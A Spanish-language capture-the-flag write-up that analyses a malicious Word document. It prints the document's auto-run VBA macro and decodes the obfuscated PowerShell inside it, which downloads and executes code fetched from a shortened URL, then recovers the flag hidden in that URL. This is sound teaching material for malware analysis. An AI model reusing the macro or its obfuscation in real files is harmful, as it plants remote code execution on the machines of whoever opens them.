Lure
3 minutos de lectura
Se nos proporciona un archivo de Microsoft Office Word llamado UrgentPayment.doc:
$ file UrgentPayment.doc
UrgentPayment.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Ian Austin, Template: Normal.dotm, Last Saved By: egre55, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 40:00, Create Time/Date: Tue Nov 3 18:07:00 2020, Last Saved Time/Date: Tue Nov 3 18:57:00 2020, Number of Pages: 1, Number of Words: 2, Number of Characters: 12, Security: 0
Extracción de macros VBA
Con olevba de oletools podemos extraer el código VBA de las macros:
$ olevba UrgentPayment.doc
olevba 0.60.1 on Python 3.10.10 - http://decalage.info/python/oletools
===============================================================================
FILE: UrgentPayment.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: UrgentPayment.doc - OLE stream: 'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: UrgentPayment.doc - OLE stream: 'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub Document_Open()
'
' Document_Open Macro
'
'
Dim chkUserDomain As String
Dim strUserDomain As String
chkUserDomain = "MEGABANK.LOCAL"
strUserDomain = Environ$("UserDomain")
If chkUserDomain <> strUserDomain Then
Else
Dim ExecFile As Double
ExecFile = Shell("pOweRshElL -ec cABPAHcARQByAHMAaABFAGwATAAgACQAKAAtAGoATwBpAE4AKAAoACQAUABzAGgATwBNAGUAWwA0AF0AKQAsACgAIgAkAFAAcwBIAG8ATQBFACIAKQBbACsAMQA1AF0ALAAiAHgAIgApADsAKQAoAGkAdwByACAAJAAoACgAIgB7ADUAfQB7ADIANQB9AHsAOAB9AHsANwB9AHsAMAB9AHsAMQA0AH0AewAzAH0AewAyADEAfQB7ADIAfQB7ADIAMgB9AHsAMQA1AH0AewAxADYAfQB7ADMAMQB9AHsAMgA4AH0AewAxADEAfQB7ADIANgB9AHsAMQA3AH0AewAyADMAfQB7ADIANwB9AHsAMgA5AH0AewAxADAAfQB7ADEAfQB7ADYAfQB7ADIANAB9AHsAMwAwAH0AewAxADgAfQB7ADEAMwB9AHsAMQA5AH0AewAxADIAfQB7ADkAfQB7ADIAMAB9AHsANAB9ACIALQBmACAAIgBCACIALAAiAFUAIgAsACIANAAiACwAIgBCACIALAAiACUANwBEACIALAAiAGgAdAAiACwAIgBSAF8AZAAiACwAIgAvAC8AbwB3AC4AbAB5AC8ASABUACIALAAiAHAAOgAiACwAIgBUACIALAAiADAAIgAsACIAXwAiACwAIgBOACIALAAiAE0AIgAsACIAJQA3ACIALAAiAEUAIgAsACIAZgAiACwAIgAxAFQAIgAsACIAdQAiACwAIgBlACIALAAiADUAIgAsACIAawAiACwAIgBSACIALAAiAGgAIgAsACIAMAAiACwAIgB0ACIALAAiAHcAIgAsACIAXwAiACwAIgBsACIALAAiAFkAIgAsACIAQwAiACwAIgBVACIAKQApACkA", vbNormalFocus)
End If
End Sub
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Document_Open |Runs when the Word or Publisher document is |
| | |opened |
|Suspicious|Environ |May read system environment variables |
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|vbNormalFocus |May run an executable file or a system |
| | |command |
|Suspicious|pOweRshElL |May run PowerShell commands |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+
Parece que el código VBA está tratando de ejecutar un payload con PowerShell. El payload parece estar codificada en Base64, decodifiquemos:
$ echo cABPAHcARQByAHMAaABFAGwATAAgACQAKAAtAGoATwBpAE4AKAAoACQAUABzAGgATwBNAGUAWwA0AF0AKQAsACgAIgAkAFAAcwBIAG8ATQBFACIAKQBbACsAMQA1AF0ALAAiAHgAIgApADsAKQAoAGkAdwByACAAJAAoACgAIgB7ADUAfQB7ADIANQB9AHsAOAB9AHsANwB9AHsAMAB9AHsAMQA0AH0AewAzAH0AewAyADEAfQB7ADIAfQB7ADIAMgB9AHsAMQA1AH0AewAxADYAfQB7ADMAMQB9AHsAMgA4AH0AewAxADEAfQB7ADIANgB9AHsAMQA3AH0AewAyADMAfQB7ADIANwB9AHsAMgA5AH0AewAxADAAfQB7ADEAfQB7ADYAfQB7ADIANAB9AHsAMwAwAH0AewAxADgAfQB7ADEAMwB9AHsAMQA5AH0AewAxADIAfQB7ADkAfQB7ADIAMAB9AHsANAB9ACIALQBmACAAIgBCACIALAAiAFUAIgAsACIANAAiACwAIgBCACIALAAiACUANwBEACIALAAiAGgAdAAiACwAIgBSAF8AZAAiACwAIgAvAC8AbwB3AC4AbAB5AC8ASABUACIALAAiAHAAOgAiACwAIgBUACIALAAiADAAIgAsACIAXwAiACwAIgBOACIALAAiAE0AIgAsACIAJQA3ACIALAAiAEUAIgAsACIAZgAiACwAIgAxAFQAIgAsACIAdQAiACwAIgBlACIALAAiADUAIgAsACIAawAiACwAIgBSACIALAAiAGgAIgAsACIAMAAiACwAIgB0ACIALAAiAHcAIgAsACIAXwAiACwAIgBsACIALAAiAFkAIgAsACIAQwAiACwAIgBVACIAKQApACkA | base64 -d
pOwErshElL $(-jOiN(($PshOMe[4]),("$PsHoME")[+15],"x");)(iwr $(("{5}{25}{8}{7}{0}{14}{3}{21}{2}{22}{15}{16}{31}{28}{11}{26}{17}{23}{27}{29}{10}{1}{6}{24}{30}{18}{13}{19}{12}{9}{20}{4}"-f "B","U","4","B","%7D","ht","R_d","//ow.ly/HT","p:","T","0","_","N","M","%7","E","f","1T","u","e","5","k","R","h","0","t","w","_","l","Y","C","U")))
Genial, tenemos código en PowerShell.
Desofuscación de PowerShell
A primera vista, podemos ver iwr, que es la abreviación del comando Invoke-Web-Request. El argumento de iwr debería ser una URL, pero parece ofuscada.
Usando pwsh podemos imprimir este argumento como una string:
$ pwsh
PowerShell 7.3.2
PS .../Lure> $(("{5}{25}{8}{7}{0}{14}{3}{21}{2}{22}{15}{16}{31}{28}{11}{26}{17}{23}{27}{29}{10}{1}{6}{24}{30}{18}{13}{19}{12}{9}{20}{4}"-f "B","U","4","B","%7D","ht","R_d","//ow.ly/HT","p:","T","0","_","N","M","%7","E","f","1T","u","e","5","k","R","h","0","t","w","_","l","Y","C","U"))
http://ow.ly/HTB%7Bk4REfUl_w1Th_Y0UR_d0CuMeNT5%7D
Y ahí tenemos la flag (nótese que %7B es { y %7D es } en codificación de URL):
HTB{k4REfUl_w1Th_Y0UR_d0CuMeNT5}